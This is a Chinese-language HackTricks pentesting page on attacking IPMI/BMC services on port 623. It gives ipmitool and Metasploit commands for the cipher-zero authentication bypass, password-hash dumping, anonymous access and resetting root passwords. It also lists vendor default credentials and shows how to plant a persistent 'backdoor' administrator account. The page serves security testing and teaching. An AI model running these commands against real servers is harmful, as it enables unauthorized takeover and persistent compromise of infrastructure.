hacktricks/network-services-pentesting/623-udp-ipmi.md
2023-08-03 19:12:22 +00:00

175 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 623/UDP/TCP - IPMI
## 623/UDP/TCP - IPMI
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
## 基本信息
[Intelligent Platform Management Interface](https://www.thomas-krenn.com/en/wiki/IPMI\_Basics)`IPMI`是一组用于硬件主机管理系统的标准化规范用于系统管理和监控。它作为一个独立的子系统工作独立于主机的BIOS、CPU、固件和底层操作系统。IPMI使系统管理员能够管理和监控系统即使它们处于关闭或无响应状态。它通过直接的网络连接到系统的硬件进行操作不需要通过登录shell访问操作系统。IPMI还可以用于对系统进行远程升级而无需物理访问目标主机。IPMI通常以以下三种方式使用
* 在操作系统引导之前修改BIOS设置
* 当主机完全关闭时
* 在系统故障后访问主机
当不用于这些任务时IPMI可以监视各种不同的事物如系统温度、电压、风扇状态和电源供应。它还可以用于查询库存信息、查看硬件日志和使用SNMP进行警报。主机系统可以关闭电源但IPMI模块需要电源和LAN连接才能正常工作。
IPMI协议最初由英特尔于1998年发布现在由200多个系统供应商支持包括思科、戴尔、惠普、超微、英特尔等。使用IPMI 2.0版本的系统可以通过串行局域网进行管理使系统管理员能够在带内查看串行控制台输出。为了正常工作IPMI需要以下组件
* 主板管理控制器BMC- IPMI的微控制器和基本组件
* 智能机箱管理总线ICMB- 允许一个机箱与另一个机箱进行通信的接口
* 智能平台管理总线IPMB- 扩展BMC
* IPMI内存- 存储系统事件日志、存储库数据等
* 通信接口- 本地系统接口、串行和LAN接口、ICMB和PCI管理总线
![](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**默认端口**623/UDP/TCP通常使用UDP但也可以在TCP上运行
## 枚举
### 发现
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
您可以使用以下方法**识别**版本:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### 漏洞 - 通过密码0绕过IPMI身份验证
Dan Farmer [发现了IPMI 2.0规范的一个严重缺陷](http://fish2.com/ipmi/cipherzero.html)即密码类型0表示客户端希望使用明文身份验证实际上**允许使用任何密码**进行访问。在HP、Dell和Supermicro BMC中发现了密码0的问题该问题可能涵盖所有IPMI 2.0实现。\
请注意,要利用此问题,您首先需要**找到一个有效的用户**。
您可以使用以下方法**识别**此问题:
```
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
而且你可以使用`ipmitool`来**滥用**这个问题:
```bash
apt-get install ipmitool #Install
#Using -C 0 any password is accepted
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root
```
### 漏洞 - IPMI 2.0 RAKP认证远程密码哈希检索
基本上,**你可以向服务器请求任何用户名的盐值哈希MD5和SHA1如果用户名存在这些哈希值将被发送回来。** 是的,听起来很神奇。而且还有一个**Metasploit模块**可以用于测试你可以选择John或Hashcat格式的输出
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
_请注意对于此操作您只需要一个用户名列表来进行暴力破解metasploit已经包含了一个带有默认用户名的列表。_
使用`ipmitool`绕过身份验证(`-c 0`来将root密码更改为abc123
```
root@kali:~# apt-get install ipmitool
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
```
### 漏洞 - IPMI匿名认证
除了上述的认证问题外,丹·法尔默还指出,**许多BMC默认启用了“匿名”访问**。这是通过将第一个**用户**账户的用户名设置为**空字符串**,并将**空密码**设置为匹配来配置的。_ipmi\_dumphashes_模块将识别并转储空用户账户的密码哈希包括空密码。**这个账户本身可能难以使用,但我们可以利用`ipmitool`重置命名用户账户的密码,并利用该账户访问其他服务:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 false false true ADMINISTRATOR
2 root false false true ADMINISTRATOR
3 admin true true true ADMINISTRATOR
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"
```
### 漏洞 - Supermicro IPMI明文密码
IPMI 2.0规范要求BMC响应基于HMAC的身份验证方法如SHA1和MD5。这种身份验证过程存在一些严重的弱点正如之前的示例所示但也**需要访问明文密码以计算身份验证哈希**。这意味着BMC必须在**非易失性存储器**中存储所有配置的用户密码的**明文版本**。在**Supermicro**的情况下,此位置在固件版本之间会发生变化,但要么是**`/nv/PSBlock`**,要么是**`/nv/PSStore`**。密码分散在各种二进制块之间但很容易识别因为它们总是跟随用户名。对于任何使用BMC之间或甚至不同类型设备之间共享密码的组织来说这是一个严重的问题。
```bash
cat /nv/PSBlock
admin ADMINpassword^TT rootOtherPassword!
```
### 漏洞 - Supermicro IPMI UPnP
Supermicro在其最新的许多主板的IPMI固件上包含一个运行在UDP端口1900上的UPnP SSDP监听器。在SMT\_X9\_218之前的版本中该服务运行的是Intel SDK for UPnP Devices的1.3.1版本。这个版本存在[由Rapid7在2013年2月披露的问题](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play)并且Metasploit Framework中包含了针对这个平台的利用工具。这种攻击的有趣之处在于它可以获得对BMC的完全root访问权限而这在其他情况下很难获得。请记住具有管理访问权限的攻击者无论是通过网络还是从主机系统的root shell都可以将Supermicro BMC的固件降级到一个存在漏洞的版本然后利用它。一旦获得root访问权限就可以从文件系统中读取明文凭据安装其他软件并将永久后门集成到BMC中即使主机操作系统进行了完全重新安装后门仍然存在。
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### 暴力破解
请注意只有惠普HP在制造过程中对密码进行随机化。
| 产品名称 | 默认用户名 | 默认密码 |
| ----------------------------------------------- | -------------- | ---------------------------------------- |
| **HP Integrated Lights Out (iLO)** | Administrator | \<工厂随机化的8位字符> |
| **Dell Remote Access Card (iDRAC, DRAC)** | root | calvin |
| **IBM Integrated Management Module (IMM)** | USERID | PASSW0RD0为零 |
| **Fujitsu Integrated Remote Management Controller** | admin | admin |
| **Supermicro IPMI (2.0)** | ADMIN | ADMIN |
| **Oracle/Sun Integrated Lights Out Manager (ILOM)** | root | changeme |
| **ASUS iKVM BMC** | admin | admin |
## 从BMC攻击主机
一旦获得对BMC的管理员访问权限就可以使用多种方法来访问主机操作系统。最直接的方法是滥用BMC的KVM功能并将主机重启到root shell在GRUB中使用init=/bin/sh或指定一个救援盘作为虚拟CD-ROM并引导到该盘。一旦获得对主机磁盘的原始访问权限就可以轻松引入后门从硬盘复制数据或者执行任何需要进行的安全评估的操作。当然这种方法的一个很大的缺点是必须重新启动主机才能使用。访问正在运行的主机要困难得多这取决于主机正在运行的内容。如果主机的物理控制台处于登录状态使用内置的KVM功能轻松劫持它。串行控制台也是如此-如果串行端口连接到经过身份验证的会话则BMC可能允许使用ipmitool接口进行串行局域网sol的劫持。仍需要进行更多研究的一条路径是滥用对共享硬件的访问权限例如i2c总线和Super I/O芯片。
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_bios.png)
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_boot.png)
![](<../.gitbook/assets/image (202) (2).png>)
## 从主机攻击BMC
在主机带有BMC并被入侵的情况下可以使用**本地接口来引入一个后门用户账户**,从而在服务器上建立一个永久立足点。此攻击需要在主机上安装**`ipmitool`**并启用对BMC的驱动程序支持。下面的示例演示了如何使用主机上的本地接口不需要身份验证将新用户账户注入到BMC中。此方法适用于Linux、Windows、BSD甚至DOS目标。
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
## Shodan
* `port:623`
## 参考资料
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
* [https://academy.hackthebox.com/module/112/section/1245](https://academy.hackthebox.com/module/112/section/1245)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>